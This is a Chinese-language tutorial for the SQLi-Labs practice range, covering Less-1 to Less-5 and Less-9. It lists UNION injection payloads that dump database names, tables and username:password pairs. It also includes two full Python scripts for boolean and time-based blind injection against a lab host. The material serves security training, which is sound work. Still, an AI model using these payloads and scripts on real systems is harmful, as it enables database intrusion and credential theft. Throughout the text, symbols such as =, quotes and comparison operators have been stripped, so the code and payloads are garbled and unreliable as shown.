SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9)

SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9) 前言SQL 注入SQL Injection是 Web 安全领域中最经典、危害最大的漏洞之一。它产生的原因简单却致命开发者将用户输入的数据直接拼接到 SQL 语句中导致攻击者能够篡改原始 SQL 逻辑从而越权操作数据库。尽管各类开发框架已经提供了参数化查询等防护手段但在实际渗透测试和 CTF 竞赛中SQL 注入依然频繁出现是每一位安全从业者必须扎实掌握的基本功。是一套专门用于练习 SQL 注入的靶场环境它通过精心设计的关卡循序渐进地展示了从最基础的联合查询注入到高级盲注的各种攻击技巧。本教程选择了最具代表性的六个关卡——Less-1、Less-2、Less-3、Less-4、Less-5 和 Less-9——带你从零开始逐步攻克 SQL 注入的核心技术。通过这六个关卡你将系统掌握以下四种重要的 SQL 注入手法关卡注入类型核心技术与回显方式Less-1字符型联合查询注入闭合单引号 →ORDER BY查列数 →UNION SELECT联合查询直接回显数据Less-2数字型联合查询注入无需闭合引号 → 与 Less-1 流程相同体会字符型与数字型的区别Less-3单引号括号闭合联合查询闭合)→ 掌握复杂字符串闭合时的构造技巧Less-4双引号括号闭合联合查询闭合)→ 进一步巩固对不同闭合方式的理解Less-5报错注入 / 布尔盲注页面无数据回显但显示数据库错误信息 → 利用extractvalue、updatexml报错函数带出数据或使用length()、ascii()、substr()进行布尔盲注逐位猜解Less-9时间盲注页面不论正确与否都返回相同界面 → 使用if(condition,sleep(5),1)构造延时通过响应时间长短判断 SQL 条件真假完成数据拖取mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。1.首先判断是否存在sql注入1.提示你输入数字值的ID作为参数我们输入?id12.通过数字值不同返回的内容也不同所以我们输入的内容是带入到数据库里面查询了。3.接下来我们判断sql语句是否是拼接且是字符型还是数字型。 编程4.可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显所以我们可以使用联合查询。联合查询原理简单说一下联合查询就是两个sql语句一起查询两张表具有相同的列数且字段名是一样的2 联合注入第一步首先知道表格有几列如果报错就是超过列数如果显示正常就是没有超出列数。第二步爆出显示位就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。 数据管理第三步爆库。第四步 爆表information_schema.tables表示该 数据库下的tables表点表示下一级。where后面是条件group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。第五步爆字段名我们通过sql语句查询知道当前数据库有四个表根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。1-5关sql语句基本上差不多判断字段数order by ?id1 order by 3 -- // 正常 ?id1 order by 4 -- // 错误 → 字段数为 3 找显示位回显点 ?id-1 union select 1,2,3 -- 爆数据库名 ?id-1 union select 1,2,database() -- 爆表名 ?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemadatabase() -- 爆列名以 users 表为例 ?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers -- 爆数据内容 ?id-1 union select 1,2,group_concat(username,0x3a,password) from users --第一关​​​​​​​第二关​​​​第三关​​​​第四关​​​​第五个​​​​import requests import urllib.parse # 目标 URL不含参数 url http://192.168.209.156/sqli/Less-5/ # 判断条件为真时页面会包含的关键字根据 Less-5 的回显调整 TRUE_KEYWORD You are in def check(condition: str) - bool: 执行一次布尔盲注返回 condition 是否为真。 condition 是一个 SQL 条件表达式例如 11 或 length((select database()))8 # 使用 # 作为注释符requests 会自动将其编码为 %23 payload f1 and {condition} # try: resp requests.get(url, params{id: payload}, timeout10) return TRUE_KEYWORD in resp.text except requests.RequestException: return False def get_length(query: str) - int: 二分法获取查询结果的字符串长度最大 100 low, high 0, 100 while low high: mid (low high 1) // 2 if check(flength({query}){mid}): low mid else: high mid - 1 return low def get_string(query: str, length: int) - str: 二分法获取查询结果的每一位字符 result for pos in range(1, length 1): low, high 32, 126 # 可打印 ASCII 范围 while low high: mid (low high 1) // 2 if check(fascii(substr({query},{pos},1)){mid}): low mid else: high mid - 1 result chr(low) print(f[] 第 {pos} 个字符: {chr(low)}) return result def blind_injection(query: str, description: str) - str: 完整的一次盲注过程获取长度 → 获取字符串 print(f[*] 正在获取 {description} ...) length get_length(query) print(f[] 长度: {length}) if length 0: return data get_string(query, length) print(f[] {description}: {data}\n) return data if __name__ __main__: # 1. 获取数据库名 db_name blind_injection((select database()), 数据库名) # 2. 获取所有表名 tables blind_injection( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 所有表名 ) # 3. 获取 users 表的列名假设表名为 users columns blind_injection( (select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), users 表的列名 ) # 4. 获取 users 表中的数据假设有 username 和 password 字段 data blind_injection( (select group_concat(username,:,password) from users), users 表内容 (username:password) ) print( 最终结果 ) print(f数据库名: {db_name}) print(f表名: {tables}) print(f列名: {columns}) print(f数据: {data})第九关​​代码脚本import requests import time # 目标 URLLess-9 BASE_URL http://192.168.209.156/sqli/Less-9/ # 时间盲注参数 SLEEP_TIME 3 # 减小 sleep 可以加快速度但不要太小 TIMEOUT SLEEP_TIME 5 THRESHOLD SLEEP_TIME * 0.5 # 判断为真的最低耗时秒 def test_check(): 先测试两个固定条件确认时间盲注环境是否正常 print([*] 正在测试时间盲注环境...) # 测试真条件 payload_true 1 and if(11,sleep({}),1)-- .format(SLEEP_TIME) t1 time.time() try: requests.get(BASE_URL, params{id: payload_true}, timeoutTIMEOUT) except: pass elapsed_true time.time() - t1 # 测试假条件 payload_false 1 and if(12,sleep({}),1)-- .format(SLEEP_TIME) t2 time.time() try: requests.get(BASE_URL, params{id: payload_false}, timeoutTIMEOUT) except: pass elapsed_false time.time() - t2 print(f 真条件耗时: {elapsed_true:.2f} 秒) print(f 假条件耗时: {elapsed_false:.2f} 秒) if elapsed_true THRESHOLD and elapsed_false THRESHOLD: print([] 环境正常开始时间盲注\n) return True else: print([-] 环境异常真/假条件没有明显的耗时差别) print( 可能是网络延迟太高、注释符不正确或 sleep 被过滤。) return False def check(condition: str) - bool: 执行一次时间盲注返回 condition 是否为真。 使用注释符 -- 两个破折号加空格 payload f1 and if({condition}, sleep({SLEEP_TIME}), 1)-- try: start time.time() requests.get(BASE_URL, params{id: payload}, timeoutTIMEOUT) elapsed time.time() - start return elapsed THRESHOLD except requests.exceptions.Timeout: return True # 超时说明 sleep 了条件为真 except requests.RequestException: return False def get_length(query: str) - int: 二分法获取查询结果字符串长度最大 100 low, high 0, 100 while low high: mid (low high 1) // 2 if check(flength({query}){mid}): low mid else: high mid - 1 return low def get_string(query: str, length: int) - str: 二分法获取查询结果每一位字符 result for pos in range(1, length 1): low, high 32, 126 while low high: mid (low high 1) // 2 if check(fascii(substr({query},{pos},1)){mid}): low mid else: high mid - 1 result chr(low) print(f [] 第 {pos}/{length} 字符: {chr(low)}) return result def time_blind_injection(query: str, description: str) - str: 完整时间盲注流程 print(f[*] 正在获取 {description} ...) length get_length(query) print(f [] 长度: {length}) if length 0: return data get_string(query, length) print(f [] {description}: {data}\n) return data if __name__ __main__: if not test_check(): exit(1) print( 时间盲注开始每次正确会 sleep {} 秒请耐心等待.format(SLEEP_TIME)) # 1. 数据库名 db_name time_blind_injection((select database()), 数据库名) # 2. 所有表名 tables time_blind_injection( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), 所有表名 ) # 3. users 表的列名请根据实际表名修改 columns time_blind_injection( (select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers), users 表的列名 ) # 4. users 表数据假设字段为 username 和 password data time_blind_injection( (select group_concat(username,:,password) from users), users 表内容 ) print(\n 最终结果 ) print(f数据库名: {db_name}) print(f表名: {tables}) print(f列名: {columns}) print(f数据: {data})